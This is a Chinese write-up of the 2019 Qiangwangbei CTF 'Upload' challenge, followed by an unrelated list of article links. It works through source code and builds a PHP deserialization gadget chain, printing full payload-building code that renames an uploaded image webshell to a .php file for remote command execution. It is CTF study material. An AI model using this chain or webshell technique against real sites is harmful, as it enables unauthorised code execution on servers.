2019强网杯Upload题Writeup
日常废话
强网杯过去有一段时间了,开始时因为在外地,没什么时间,下飞机的时候刚好比赛结束,所以题目基本没碰,难得暑假有时间了,把以前在PHP反序列化上的不足弥补了一下,打算照着其他老师傅的writeup把题目做一遍,文内如有雷同,那肯定是我抄的
Docker环境链接:https://github.com/glzjin/qwb_2019_upload
正文
打开网页,是一个登录界面
注册完后,登录,便是一个上传点
一系列的绕过操作试了一遍后,发现都不行,只能上传包含恶意语句的图片
打开BP抓包后发现,参数user是一串base64编码的字符串
一系列解码后得到序列化内容
拎去反序列化,得到一个文件名,猜测上传文件后,将文件名重命名了一遍
这个时候,利用目录爆破工具会在网站中找到一个 www.tar.gz
这个文件,因为这个docker环境没有,所以这里没图。下载下来后,审计中找到了 __destruct()
魔法函数
同时,在Index.php中,找到了身份验证的方法
Index.php
会对传入的内容进行base64解码,然后反序列化
继续审计,发现了 Profile.php
中,有对文件重命名的操作
那么,为了能正常的利用upload_img来进行copy操作,就得将if都过了,首先是这个if
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
要确保里面的内容不会被执行, checker
不赋值或者等于false就好了
到第二个if
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
两个文件名的参数都没有什么过滤,唯一的阻碍是 ext_check()
,他会判断你的后缀是否为png,没啥用
第三个if
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
首先是ext的值,需要为 True
其次还得注意这个
if(getimagesize($this->filename_tmp)) {
所以得是一个好的图片,里面插入一句话木马才行,然后 filename_tmp
和 finename
就是加密后的文件名和源文件名
三个IF都解决了,问题是怎么通过反序列化来调用 upload_img
呢
在当前文件 Profile.php
中,我们发现了 __get
和 __call
这两个魔法函数
读取不可访问属性的值时,__get() 会被调用;
在对象中调用一个不可访问方法时,__call() 会被调用。
(上面两句内容来自https://www.freebuf.com/articles/web/205690.html的解释)
首先回到Register.php中看 __destruct()
的操作
上面两图说明了,checker会去 Index()
中调用 index()
(注意区分大小写)
如果我们将 $this->checker
覆盖为 类Profile()
但是因为 Profile()
中没有index(),所以会触发 __call()
魔法函数
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
进入该类之后,会调用一个不存在的对象,导致 __get()
的触发,所以我们需要在序列化的时候,将 except
赋值为
public $except=array('index'=>'upload_img');
就可以触发 upload_img
,达到改名的效果了
下面是攻击链
__destruct()->__call()->__get()->upload_img
构造PHP代码:
<?php
namespace appwebcontroller;
class Profile
{
public $checker=0;
public $filename_tmp="文件名";
public $filename="更改后的文件名";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>
打开网页,我们先上传一个图片马
获取图片路径
然后修改php代码
public $filename_tmp="../public/upload/99afcd599914c2e4fb42620458fb70af/364be8860e8d72b4358b5e88099a935a.png";
public $filename="/public/upload/99afcd599914c2e4fb42620458fb70af/Elapse.php";
执行后将生成的base64内容,通过bp发送到服务器上
页面报错
这时我们回到图片的目录下,发现名字已经更改
改之前
改之后
试着执行一下命令,成功
头顶凉凉的
- 【教程】使用TensorFlow对象检测接口标注数据集
- [喵咪大数据]Hadoop单机模式
- 【死磕Java并发】—–Java内存模型之happens-before
- 9个,程序员又爱又恨的编程习惯
- Dubbo 源码解析 —— Cluster
- 【死磕Java并发】—–Java内存模型之从JMM角度分析DCL
- 基于PhalApi2的Redis拓展
- [喵咪BELK实战(3)] logstash+filebeat搭建
- Dubbo源码解析 —— Router
- 【死磕Java并发】—–深入分析volatile的实现原理
- phalcon-入门篇3(优美的URL与Config)
- 数据库中间件 Sharding-JDBC 源码分析 —— 事务(一)之BED
- 熔断器 Hystrix 源码解析 —— 命令执行(二)之执行隔离策略
- phalapi-入门篇4(国际化高可用和自动生成文档)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 案例:归档自动清理脚本失效及连带影响
- R语言中固定与随机效应Meta分析 - 效率和置信区间覆盖
- R语言使用 LOWESS技术图分析逻辑回归中的函数形式
- R语言在逻辑回归中求R square R方
- R语言Poisson回归的拟合优度检验
- R语言ROC曲线下的面积-评估逻辑回归中的歧视
- 东芝MCU实现位带操作
- 单向链表的一点儿感悟
- rt-thread的内存管理分析
- R平方/相关性取决于预测变量的方差
- stata具有异方差误差的区间回归
- R语言用于线性回归的稳健方差估计
- 用SAS进行泊松,零膨胀泊松和有限混合Poisson模型分析
- 东芝开发板驱动OLED模块显示LOGO图片
- sas文本挖掘案例:如何使用SAS计算Word Mover的距离